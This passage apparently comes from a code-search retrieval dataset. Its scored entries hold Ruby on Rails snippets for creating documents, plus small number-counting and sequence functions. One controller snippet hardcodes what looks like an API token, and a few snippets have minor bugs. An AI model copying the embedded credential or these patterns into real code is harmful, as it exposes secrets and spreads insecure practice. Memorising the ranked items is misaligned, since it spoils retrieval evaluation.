\t\ttag = Tag.where(:name => tagname) || Tag.new(:name => tagname)\n \t\t@document.tags << tag\n \t\tlogger.debug \"Assigning tag '#{tagname}' to document (#{@document.id})\"\n \tend\n \t\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, :notice => \"\" }\n format.json { render :json => @document, :status => :created, :location => @document }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @document.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7148b8458927a5a75d9415a1cd7e83da", "score": "0.59182006", "text": "def create\n @documentoplan = Documentoplan.new(documentoplan_params)\n\n respond_to do |format|\n if @documentoplan.save\n format.html { redirect_to @documentoplan, notice: 'Documentoplan was successfully created.' }\n format.json { render :show, status: :created, location: @documentoplan }\n else\n format.html { render :new }\n format.json { render json: @documentoplan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4aea27bf6e6fc8776e751c57500fb190", "score": "0.59149367", "text": "def documento_params \n params.require(:documento).permit(:doctipo_id, :docestado_id, :nro, :folios, :asunto, :remitente, :cod_remitente, :ambiente,:area_generadora_id, :estado, :destinatario)\n end", "title": "" }, { "docid": "014eb3e7fd459111c5ce6d5e71e087aa", "score": "0.59144175", "text": "def create\n @docente = Docente.new(docente_params)\n\n respond_to do |format|\n if @docente.save\n format.html { redirect_to @docente, notice: 'Docente was successfully created.' }\n format.json { render :show, status: :created, location: api_v1_docente_url(@docente) }\n else\n format.html { render :new }\n format.json { render json: @docente.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ed74dec6d41c4066347c37c470ea5431", "score": "0.59073573", "text": "def post_document(document, header_options={})\n uri = URI.parse(\"http://hoptoadapp.com:80/notifier_api/v2/notices\")\n\n Net::HTTP.start(uri.host, uri.port) do |http|\n headers = {\n 'Content-type' => 'text/xml',\n 'Accept' => 'text/xml, application/xml',\n 'X-Hoptoad-Client-Name' => 'Toadhopper',\n }.merge(header_options)\n http.read_timeout = 5 # seconds\n http.open_timeout = 2 # seconds\n begin\n response = http.post uri.path, document, headers\n response_for(response)\n rescue TimeoutError => e\n Response.new(500, '', ['Timeout error'])\n end\n end\n end", "title": "" }, { "docid": "5fd1a6106c08d0c01968bf1217fbb04f", "score": "0.59054923", "text": "def create\n @document = Document.new(document_params)\n\n if @document.save\n render json: @document, status: :created, location: @document\n else\n render json: @document.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "f9dfc09ca31d323b4af733cfd3330439", "score": "0.5903086", "text": "def create\n @title = t('view.documents.new_title')\n params[:document][:tag_ids] ||= []\n @document = Document.new(params[:document])\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to(documents_url, notice: t('view.documents.correctly_created')) }\n format.json { render json: @document, status: :created, location: @document }\n else\n format.html { render action: 'new' }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "04d11f3a40f4cea02645cbe7b01cf7f7", "score": "0.5903065", "text": "def create(options)\n API::request(:post, 'entity_documents', options)\n end", "title": "" }, { "docid": "759d5662b56ccd95d3faff6a5dddee40", "score": "0.59025705", "text": "def create\n @document = Document.new(params[:document])\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, notice: 'Рецепт успешно создан.' }\n else\n format.html { render action: 'new' }\n end\n end\n end", "title": "" }, { "docid": "ab566e7c6f39ffbffaa763a3e4578634", "score": "0.5875215", "text": "def create\r\n @docente = Docente.new(docente_params)\r\n\r\n respond_to do |format|\r\n if @docente.save\r\n format.html { redirect_to @docente, notice: \"Docente was successfully created.\" }\r\n format.json { render :show, status: :created, location: @docente }\r\n else\r\n format.html { render :new, status: :unprocessable_entity }\r\n format.json { render json: @docente.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "d57ab8357789250ba63eff08227671ab", "score": "0.58738786", "text": "def create\n @document = Document.new(params[:document])\n @api_token = \"hNX6fJnDQogYCajrt1KM8Tzy\"\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, notice: 'Document was successfully created.' }\n format.json { render json: @document, status: :created, location: @document }\n else\n format.html { render action: \"new\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "25b4c56f67608347782dadd345ed10e5", "score": "0.5858365", "text": "def documento_params\n params.require(:documento).permit(:doc_rg, :doc_cpf)\n end", "title": "" }, { "docid": "372d95cb6150c7d69c854d46a6954d76", "score": "0.585367", "text": "def create\n @documentaire = Documentaire.new(documentaire_params)\n\n respond_to do |format|\n if @documentaire.save\n format.html { redirect_to @documentaire, notice: 'Documentaire was successfully created.' }\n format.json { render :show, status: :created, location: @documentaire }\n else\n format.html { render :new }\n format.json { render json: @documentaire.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7764890bb690a9461e0e4033adae473b", "score": "0.58531976", "text": "def create\n @ecndocument = Ecndocument.new(params[:ecndocument])\n\n respond_to do |format|\n if @ecndocument.save\n StatusMailer.next_signatory_notice(@ecndocument.next_approval.ecnuser, @user, @ecndocument).deliver\n format.html { redirect_to(@ecndocument, :notice => 'Ecndocument was successfully created.') }\n format.xml { render :xml => @ecndocument, :status => :created, :location => @ecndocument }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ecndocument.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "83ee5d888262d90c3678bedd55de245a", "score": "0.5851097", "text": "def create_document( payload, parent = nil )\n \n if !payload.kind_of? String\n payload = payload.to_xml\n end\n\n if parent and !parent.kind_of? String\n parent = parent['id']\n end\n\n if parent\n post( '/records/' + @record_id + '/documents/' + parent + '/rels/related', payload ).xpath('//api:document').first\n else \n post( '/records/' + @record_id + '/documents', payload ).xpath('//api:document').first\n end\n end", "title": "" }, { "docid": "d1632ddc4fed1514b43ebe2846971f83", "score": "0.58506304", "text": "def create\n ActiveRecord::Base.transaction do\n @tipo_documento = TipoDocumento.new(tipo_documento_params)\n\n respond_to do |format|\n if @tipo_documento.save\n format.html { redirect_to @tipo_documento, notice: 'El Tipo documento se cre&oacute; exitosamente.' }\n format.json { render :show, status: :created, location: @tipo_documento }\n else\n format.html { render :new }\n format.json { render json: @tipo_documento.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "title": "" }, { "docid": "f341e3c59c4dd527edd52d59559d53cf", "score": "0.58456826", "text": "def create\n @document = Document.new(document_params)\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, notice: 'Document was successfully created.' }\n format.json { render :show, status: :created, location: @document }\n else\n format.html { render :new }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f341e3c59c4dd527edd52d59559d53cf", "score": "0.58456826", "text": "def create\n @document = Document.new(document_params)\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, notice: 'Document was successfully created.' }\n format.json { render :show, status: :created, location: @document }\n else\n format.html { render :new }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f341e3c59c4dd527edd52d59559d53cf", "score": "0.58456826", "text": "def create\n @document = Document.new(document_params)\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, notice: 'Document was successfully created.' }\n format.json { render :show, status: :created, location: @document }\n else\n format.html { render :new }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f341e3c59c4dd527edd52d59559d53cf", "score": "0.58456826", "text": "def create\n @document = Document.new(document_params)\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, notice: 'Document was successfully created.' }\n format.json { render :show, status: :created, location: @document }\n else\n format.html { render :new }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "38979984bdedacd95706689e25f09f9e", "score": "0.5843429", "text": "def put(document, method='')\n @resource[method].put(document.to_s, :content_type => 'text/xml')\n end", "title": "" }, { "docid": "9feeca1ca4c3088e69af66554180dbbb", "score": "0.58386976", "text": "def create\n @doc = Doc.new(doc_params)\n\n if @doc.save\n render json: @doc, status: :created, location: @doc\n else\n render json: @doc.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "9efdead299d336fb2fa195a83b548141", "score": "0.583142", "text": "def service_document_new\n puts view_context.service_document_xml(@depositor, request.env[\"HTTP_HOST\"])\n render xml: view_context.service_document_xml(@depositor, request.env[\"HTTP_HOST\"])\n end", "title": "" }, { "docid": "ec35a7da3f03cac2706f9b54ea188dc9", "score": "0.5831262", "text": "def create\n @document = Document.new(document_params)\n\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, notice: 'Document was successfully created.' }\n format.json { render :show, status: :created, location: @document }\n else\n format.html { render :new }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2078cca0e810f249860aad442bbe3d0e", "score": "0.58291614", "text": "def create\n @my_document = MyDocument.new(my_document_params)\n\n respond_to do |format|\n if @my_document.save\n format.html { redirect_to @my_document, notice: 'My document was successfully created.' }\n format.json { render :show, status: :created, location: @my_document }\n else\n format.html { render :new }\n format.json { render json: @my_document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "452bf1925786841d8d87ecb2316171be", "score": "0.5827308", "text": "def create\n @document = Document.new(params[:document])\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, notice: 'Document was successfully created.' }\n format.json { render json: @document, status: :created, location: @document }\n else\n format.html { render action: \"new\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "452bf1925786841d8d87ecb2316171be", "score": "0.5827308", "text": "def create\n @document = Document.new(params[:document])\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, notice: 'Document was successfully created.' }\n format.json { render json: @document, status: :created, location: @document }\n else\n format.html { render action: \"new\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "efcd73662483ad9df45f764de6a9ec69", "score": "0.58251905", "text": "def create\n @document = Document.new(params[:document])\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, notice: 'Document was successfully created.' }\n format.json { render json: @document, status: :created, location: @document }\n else\n format.html { render action: \"new\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b4e026e3c9e920c952f17d53853bbc41", "score": "0.5822487", "text": "def documento_params\n params.require(:documento).permit(:archivo)\n end", "title": "" }, { "docid": "8c8cbf04126c7594f5aa234cc0ddd638", "score": "0.5817238", "text": "def create\n @document = Document.new(params[:document])\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to documents_url, notice: 'Document was successfully created.' }\n format.json { render json: @document, status: :created, location: @document }\n else\n format.html { render action: \"new\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ea0686547bb52f082791c5b095f6faac", "score": "0.58157814", "text": "def create\n @reldocument = Reldocument.new(reldocument_params)\n\n respond_to do |format|\n if @reldocument.save\n format.html { redirect_to @reldocument, notice: 'Reldocument was successfully created.' }\n format.json { render :show, status: :created, location: @reldocument }\n else\n format.html { render :new }\n format.json { render json: @reldocument.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c6bf5d554445a905e180998a457b0429", "score": "0.581466", "text": "def create\n params.each do |key,value|\n Rails.logger.warn \"Param #{key}: #{value}\"\n end\n # logger.debug \"Documnet should be valid: #{@doc}\"\n \n msg = { :status => \"ok\", :message => \"Success!\", :html => \"<b>...</b>\" }\n respond_with msg\n # @document = Document.new(document_params) \n # if @document.save\n # respond_with @document.to_json\n # else \n # respond_with @document.errors.to_json, status: :unprocessable_entity \n # end\n end", "title": "" }, { "docid": "db44ec60457df7c0262fa059f1444eed", "score": "0.5814057", "text": "def new\n @documento = @edital.documentos.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @documento }\n end\n end", "title": "" }, { "docid": "7ef38ab6e54c0e75eebcc2e5affa45a2", "score": "0.5813484", "text": "def create\n @documento = @documentable.documentos.build(documento_params)\n respond_to do |format|\n if @documentable.save\n format.html { redirect_to @documentable, \n notice: t('scaffold.save_msg', entity: \"El documento #{@documento.tipo_imagen.descripcion} \") }\n else\n format.html { render action: 'new' }\n end\n end\n end", "title": "" }, { "docid": "dcc09a0a23bef972f29fa39e80b9e18d", "score": "0.58104295", "text": "def create\n @documentoinforme = Documentoinforme.new(documentoinforme_params)\n\n respond_to do |format|\n if @documentoinforme.save\n format.html { redirect_to @documentoinforme, notice: 'Documentoinforme was successfully created.' }\n format.json { render :show, status: :created, location: @documentoinforme }\n else\n format.html { render :new }\n format.json { render json: @documentoinforme.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8ad6fa40acf54c5f900a5bb8389a43f7", "score": "0.5808033", "text": "def create\n @document = Document.new(params[:document])\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to documents_path, notice: 'O documento foi criado com sucesso.' }\n else\n format.html { render action: \"new\" }\n end\n end\n end", "title": "" }, { "docid": "5076b5d584cbae60c8d23829cc1dfb6f", "score": "0.58079475", "text": "def create\n @task_document = TaskDocument.new(params[:task_document])\n\n respond_to do |format|\n if @task_document.save\n format.html { redirect_to(@task_document, :notice => 'Task document was successfully created.') }\n format.xml { render :xml => @task_document, :status => :created, :location => @task_document }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @task_document.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4750aedaba6e64e13677838cb16d813b", "score": "0.5806479", "text": "def create\n @objeto = DocumentoBase.new(documento_base_params)\n\n respond_to do |format|\n if @objeto.save\n set_redireccion\n format.html { redirect_to @redireccion, notice: \"Documento base was successfully created.\" }\n format.json { render :show, status: :created, location: @objeto }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2d50adcd2dbae4dce03d9b9c3ecdcd0d", "score": "0.5802877", "text": "def document_params\n params.require(:document).permit(:uri, :date, :title, :body, :meta_title, :meta_desc, :meta_keywords)\n end", "title": "" }, { "docid": "05585cc218815028a910289de24e4555", "score": "0.57996947", "text": "def create\n @document_producte = DocumentProducte.new(document_producte_params)\n\n respond_to do |format|\n if @document_producte.save\n format.html { redirect_to @document_producte, notice: 'Document producte was successfully created.' }\n format.json { render :show, status: :created, location: @document_producte }\n else\n format.html { render :new }\n format.json { render json: @document_producte.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "614582e0d7220296197741842ba9293b", "score": "0.57973903", "text": "def document_params\n params.require(:document).permit(:obra, :user_id, :document_date, :anexo, :document_type_id, :sub_document_type_id, :description)\n end", "title": "" }, { "docid": "90e84ecff1ef3005e35093528223a178", "score": "0.57968473", "text": "def create\n @documentable = find_documentable\n @document = @documentable.documents.build(document_params)\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to @documentable, flash: { success: 'Document was successfully created.' } }\n format.json { render json: @document, status: :created, location: @document }\n else\n format.html { render action: \"new\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "48b68757220263d6467e17f9a9aa19ea", "score": "0.5796378", "text": "def create\n @document = Document.new(document_params)\n @document.owner = current_user\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, notice: 'Document was successfully created.' }\n format.json { render :show, status: :created, location: @document }\n else\n format.html { render :new }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4d7c7d4ff4a64e806d7b70d4dc8e8aff", "score": "0.5795297", "text": "def document\n \tparams[:document]\n \tend", "title": "" }, { "docid": "92916d85da4385517444938c878bd690", "score": "0.5794504", "text": "def create\n @documento_intere = DocumentoIntere.new(params[:documento_intere])\n\n respond_to do |format|\n if @documento_intere.save\n flash[:notice] = 'DocumentoIntere se ha creado con exito.'\n format.html { redirect_to(admin_documento_interes_path) }\n format.xml { render :xml => @documento_intere, :status => :created, :location => @documento_intere }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @documento_intere.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7f312b548e2747bc7670ec234b8f220e", "score": "0.5790183", "text": "def create\n @document = Document.new(params[:document])\n\n respond_to do |format|\n if @document.save\n flash[:notice] = 'Document was successfully created.'\n format.html { redirect_to(@document) }\n format.json { render :json => @document, :status => :created, :location => @document }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @document.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9128235cdd216d20afe36f4529b7d45e", "score": "0.5788898", "text": "def create\n @document = Document.new(document_params)\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document.driver, notice: 'Document was successfully created.' }\n format.json { render action: 'show', status: :created, location: @document }\n else\n format.html { render action: 'new' }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "81236f6d6dd57905c4a84e61e8e798b6", "score": "0.5787089", "text": "def create\n @document = Document.new(document_params)\n @document.typename= @document.typename.upcase\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, notice: 'El documento fue registrado exitosamente' }\n format.json { render :show, status: :created, location: @document }\n else\n format.html { render :new }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bee63ca07490a1fdd11da7ed83f9a780", "score": "0.57832456", "text": "def create\n @doc = Document.new(params[:document])\n @doc.member = @current_user\n @doc.page = @page \n \n respond_to do |format|\n if @doc.save\n flash[:notice] = \"#{@action_success_message}\"\n format.html { redirect_to page_document_url(@doc.page,@doc) }\n format.xml { render :xml => @doc, :status => :created, :location => @doc }\n else\n @page=Page.find(params[:page_id])\n format.html { render :action => \"new\"}\n format.xml { render :xml => @doc.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c4e66dc324b8daf046bd4361bc8e639a", "score": "0.578119", "text": "def create\n @model_document = ModelDocument.new(params[:model_document])\n\n respond_to do |format|\n if @model_document.save\n format.html { redirect_to @model_document, notice: 'Model document was successfully created.' }\n format.json { render json: @model_document, status: :created, location: @model_document }\n else\n format.html { render action: \"new\" }\n format.json { render json: @model_document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7fac05d6d88d16802ef9270bced1e2c6", "score": "0.5773739", "text": "def create\n @document = Item.new(params[:document])\n\n respond_to do |format|\n if @document.save\n flash[:notice] = 'Document was successfully created.'\n format.html { redirect_to(@document) }\n format.xml { render :xml => @document, :status => :created, :location => @document }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @document.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6893b932b1b305cb8874ba7c08e751e6", "score": "0.5772367", "text": "def create\n @documentos_empresa_perfil = DocumentosEmpresaPerfil.new(documentos_empresa_perfil_params)\n\n respond_to do |format|\n if @documentos_empresa_perfil.save\n format.html { redirect_to @documentos_empresa_perfil, notice: 'Documentos empresa perfil was successfully created.' }\n format.json { render :show, status: :created, location: @documentos_empresa_perfil }\n else\n format.html { render :new }\n format.json { render json: @documentos_empresa_perfil.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f07d7893b1dd6a12fb06190ff0c52c86", "score": "0.576272", "text": "def create\n @document = Document.new(params[:document].permit([:file, :name, :estudo_id]))\n\n respond_to do |format|\n if @document.save\n if @document.estudo_id\n format.html { redirect_to @document.estudo, notice: 'o Documento foi criado com sucesso' } \n else\n format.html { redirect_to documents_url, notice: 'o Documento foi criado com sucesso' } \n end\n \n \n else\n format.html { render action: \"new\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "45fe9754cebfd82e98897f760de2461b", "score": "0.57593185", "text": "def create\n @document = Document.new(document_params)\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, notice: 'Document was successfully created.' }\n format.json { render action: 'show', status: :created, location: @document }\n else\n format.html { render action: 'new' }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "45fe9754cebfd82e98897f760de2461b", "score": "0.57593185", "text": "def create\n @document = Document.new(document_params)\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, notice: 'Document was successfully created.' }\n format.json { render action: 'show', status: :created, location: @document }\n else\n format.html { render action: 'new' }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "20ffba9d21b9380da9eedc1a8c05aee2", "score": "0.57541674", "text": "def post(source, params = {})\n request(:post, '_doc', params, source)\n end", "title": "" }, { "docid": "96fc5969bdfd226b9ddc87d0263d83f3", "score": "0.5752116", "text": "def upload_documents\n # Do the upload & save the records info\n doc = Document.new(document_params)\n doc.staff = current_staff\n doc.save!\n\n # After upload successfully, update the metadata for the uploaded files\n doc.filename = doc.file.filename\n doc.url = doc.file.url\n doc.size = doc.file.size\n doc.physic_path = doc.file.path\n doc.content_type = doc.file.content_type\n doc.save!\n\n render json: {\n id: doc.id\n }, status: :created\n end", "title": "" }, { "docid": "f035581a544a869bbd45947f2d8a520a", "score": "0.57462347", "text": "def create\n @document = @group.documents.new(params[:document])\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to(@document, :notice => 'Document was successfully created.') }\n format.xml { render :xml => @document, :status => :created, :location => @document }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @document.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3ff0086a4d99ab12a21db91d9776f83e", "score": "0.5741379", "text": "def create\n @document = @project.documents.new(params[:document])\n\n respond_to do |format|\n if @document.save\n flash[:notice] = 'Document was successfully created.'\n format.html { redirect_to([@user,@project,@document]) }\n format.xml { render :xml => @document, :status => :created, :location => @document }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @document.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4115f8a4106722b80e360172b6b086b6", "score": "0.5735338", "text": "def documento_params\n params.require(:documento).permit(:user_id, :titulo, :descricao, :status, :data_defesa, :tese, :mestrado, :arquivo, :author)\n end", "title": "" }, { "docid": "2a6ef30bf9fe84e15bb31eb6c6ea2d1a", "score": "0.57335544", "text": "def create\n @document = Document.new(document_params)\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to documents_path, notice: 'Document was successfully created.' }\n format.json { render action: 'show', status: :created, location: @document }\n else\n format.html { render action: 'new' }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
02d778d03ddba89699a3d0addc2ae4d5
start with the simplest behavior Spec: Counts from 1 to a given number input : 7 Output : 1,2,3,4,5,6,7
[ { "docid": "5ca04b5c672851334b202882ec6a3de2", "score": "0.6482744", "text": "def number_count(number)\n x=0\n array = []\n while (x<number)\n x+=1\n array.push(x)\n end\n array\nend", "title": "" } ]
[ { "docid": "41f13bc01b0d269bfd94ccb0a73e8cd6", "score": "0.7056134", "text": "def count_to(n)\nend", "title": "" }, { "docid": "f1dd8c7fcf963f08f03b012c658652ca", "score": "0.6991993", "text": "def count(num)\n (1..num).to_a\nend", "title": "" }, { "docid": "1645d7cd667097bd2747563706adf4ba", "score": "0.69494385", "text": "def count_to number\n n = number.to_i\n array = [];\n if n > 0\n (0..n).each do |n|\n array.push(n)\n end\n else\n (n..0).each do |n|\n array.unshift(n)\n end\n end\n p array\nend", "title": "" }, { "docid": "0e48b70bb471240ea56c4efc6e16243b", "score": "0.69433445", "text": "def monkey_count(n)\n 1.upto(n).to_a\nend", "title": "" }, { "docid": "56fa972b58244ac72eac93d255d7968f", "score": "0.6939067", "text": "def counting\n\tnumber = 1\n\tperson = 1\n\twhile number <= 100\n\t\tputs 'Person #' + person.to_s + ' said the number ' + number.to_s\n\t\tif number % 7 == 0\n\t\t\ti = 0\n\t\t\twhile i < 7\n\t\t\t\tif person == 1\n\t\t\t\t\tperson = 10\n\t\t\t\telse\n\t\t\t\t\tperson = person - 1\n\t\t\t\tend\n\t\t\t\tnumber = number + 1\n\t\t\t\tputs 'Person #' + person.to_s + ' said the number ' + number.to_s\n\t\t\t\ti = i + 1\n\t\t\tend\n\t\t\tnumber = number - 1\n\t\t\tif person == 10\n\t\t\t\tperson = 1\n\t\t\telse\n\t\t\t\tperson = person + 1\n\t\t\tend\n\t\telse\n\t\t\tif person == 10\n\t\t\t\tperson = 1\n\t\t\telse\n\t\t\t\tperson = person + 1\n\t\t\tend\n\t\tend\n\tnumber = number + 1\n\tend\nend", "title": "" }, { "docid": "8307d2683772a7d02e5ad589c510a7f9", "score": "0.69042194", "text": "def count(num)\n\n (0..num).each do |n|\n puts n\n end\n\nend", "title": "" }, { "docid": "3ac29ee6c9b3146f53b74064e0cae15c", "score": "0.6817848", "text": "def magic_numbers(count)\n result = []\n i = 0\n until result.length == count\n if is_magic_number?(i) == 7\n result << i\n end\n i += 1\n end\n return result\nend", "title": "" }, { "docid": "dbac484dadf0c33c7700750c08ffea93", "score": "0.6800793", "text": "def magic_numbers(count)\n\nend", "title": "" }, { "docid": "887d5b9d105cad5aad74318ead0f4830", "score": "0.6794595", "text": "def list_of_digits(set_count)\n digit_list = []\n count = set_count \n count.times do \n set_count -= 1\n digit_list << set_count \n end \n digit_list\n end", "title": "" }, { "docid": "e70e8995fdbf7170160e5928b447006d", "score": "0.67892784", "text": "def count_to_hundred\n\t100.times do |nr|\n\t\tp nr\n\tend\n\nend", "title": "" }, { "docid": "f72426b4695e7cc17f9b8879d0d2fa20", "score": "0.67807597", "text": "def count_to(number)\n i = 0\n until i >= number\n p i\n i += 1\n end\nend", "title": "" }, { "docid": "43d9f3b04d4ef506667b24133eefc3bb", "score": "0.6759959", "text": "def count_to n\n n = n.to_i\n if n > 0\n x = (0..n).to_a\n p x\n else\n 0.downto(n).to_a\n end\n end", "title": "" }, { "docid": "eeba9d869c3eee3007c3bc1353425401", "score": "0.6700329", "text": "def sequence(count, first_num)\n output = []\n input = first_num\n while output.size < count\n output << input\n input += first_num\n end\n output\nend", "title": "" }, { "docid": "048beea58d7411cf631dbdb99b26fcec", "score": "0.66962034", "text": "def seven\n (1..10).map { six }\nend", "title": "" }, { "docid": "6fb71ffb43de04f2bf7623f590bcd41c", "score": "0.6686113", "text": "def count_to100\n \t\t(1..100).each {|i| puts do_it(i)}\n \tend", "title": "" }, { "docid": "16fbe3cbf5920eb911376e9495a161fa", "score": "0.666918", "text": "def count_to(number)\n i = 0\n while i <= number\n p i\n i += 1\n end\nend", "title": "" }, { "docid": "2ec9d08d29b85ed6814dde2d4b04a9b9", "score": "0.6658358", "text": "def count\n 11.times do | number |\n puts number\n end\nend", "title": "" }, { "docid": "6c5912a8c57d08619ec1ab6be62a8c3f", "score": "0.6636024", "text": "def multiples_of_seven upto\n n = 0\n while n < upto\n puts n\n n += 7\n end\nend", "title": "" }, { "docid": "96ad10bb1c21ae2657949ff4d3e6fe0b", "score": "0.66345656", "text": "def number_counting_seq(n)\n\n return \"\" if n <= 0 # base case\n return \"1\" if n == 1 # base case\n\n i = 1\n post_str = \"\"\n pre_str = \"1\"\n until i >= n\n post_str = say_it_out(pre_str)\n pre_str = post_str\n i += 1\n end\n post_str\nend", "title": "" }, { "docid": "97c4725ebbfa0b312862d45cc46372c3", "score": "0.6614617", "text": "def sequence(count, start_number)\n results = []\n 1.upto(count) do |index|\n results << start_number * index\n end\n results\nend", "title": "" }, { "docid": "5c17908d3c49e0055dd96ad63b6ce141", "score": "0.65656394", "text": "def sequence(ncount,nfirst)\n result = []\n current_value = nfirst\n ncount.times do |_|\n result << current_value\n current_value += nfirst\n end\n result\nend", "title": "" }, { "docid": "a95db5ffaa64b31ee6c5833213dfe219", "score": "0.6554779", "text": "def sequence(ncount,nfirst)\n result = []\n current_value = nfirst\n 1.upto(ncount) do |_|\n result << current_value\n current_value += nfirst\n end\n result\nend", "title": "" }, { "docid": "6769e975b08062bfe3cd4ea5588f9256", "score": "0.65500516", "text": "def number_counting_seq(n)\n return \"\" if n == 0\n\n counting_sequence = [\"1\"]\n \n until counting_sequence.length == n\n last_num = counting_sequence.last\n new_num = []\n \n count = 0\n start_num = last_num[0]\n \n last_num.chars.each do | current_digit |\n if current_digit == start_num\n count += 1\n else\n new_num << count\n new_num << start_num\n start_num = current_digit\n count = 1\n end\n end\n new_num << count\n new_num << start_num\n \n counting_sequence << new_num.join\n end\n counting_sequence.last\nend", "title": "" }, { "docid": "e6d5d1bbd136219d77afd5661a0c65cd", "score": "0.65418714", "text": "def count_to num\n count = 0\n arr = []\n if num >= 0\n while count <= num do\n arr.push(count)\n count += 1\n end\n else\n while count >= num do\n arr.push(count)\n count -= 1\n end\n end\n arr\nend", "title": "" }, { "docid": "9e00aa64f8bb03b1af1e3af69f6ade38", "score": "0.6535626", "text": "def sequence(count, start_num)\n result = []\n counter = 1\n count.times do \n result << counter * start_num\n counter += 1\n end\n result\nend", "title": "" }, { "docid": "ed3ce5987d88752d9f0cffddc44d4559", "score": "0.6530306", "text": "def sequence(count, num)\n output = []\n counter = 1\n loop do \n break if counter > count \n output << num * counter\n counter += 1\n end \n output\nend", "title": "" }, { "docid": "3a9ed20d0600567c16f20323e9b3928c", "score": "0.6530023", "text": "def sequence(count, starting_num)\narr = []\n(1..count).each do |count|\narr << count * starting_num\nend\narr\nend", "title": "" }, { "docid": "c3c9f831e3cca58b1b3edc7637c0ae4c", "score": "0.65265334", "text": "def sequence(count, starting_number)\n multiples = []\n\n 1.upto(count) { |num| multiples << starting_number * num}\n multiples\nend", "title": "" }, { "docid": "aff88386c96fbf3dd343e44d71d9a600", "score": "0.65076315", "text": "def 